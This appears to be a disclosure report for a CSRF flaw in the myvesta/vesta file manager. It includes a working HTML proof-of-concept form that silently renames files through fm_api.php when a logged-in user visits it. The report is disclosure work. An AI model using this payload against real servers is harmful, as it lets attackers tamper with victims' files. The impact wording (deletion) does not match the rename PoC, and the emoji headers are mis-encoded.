Cross-Site Request Forgery (CSRF) in myvesta/vesta
Reported on
Aug 24th 2021
βοΈ Description
Attacker is able to rename any file on the server if logged in user visits attacker website.
π΅οΈββοΈ Proof of Concept
Create a test.txt
file under /home/user
when you logged in open this POC.html
in a browser
you can check test.txt
renames to test.php
.
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.myvesta.com/file_manager/fm_api.php">
<input type="hidden" name="item" value="test.php" />
<input type="hidden" name="target_name" value="test.txt" />
<input type="hidden" name="dir" value="/home/user/" />
<input type="hidden" name="action" value="rename_file" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
π₯ Impact
This vulnerability is capable of forging admin or user to delete any file where user has access to it.
π₯ Test
Tested on Edge, firefox, chrome and safari. π Location fm_api.php#L1 π References csrf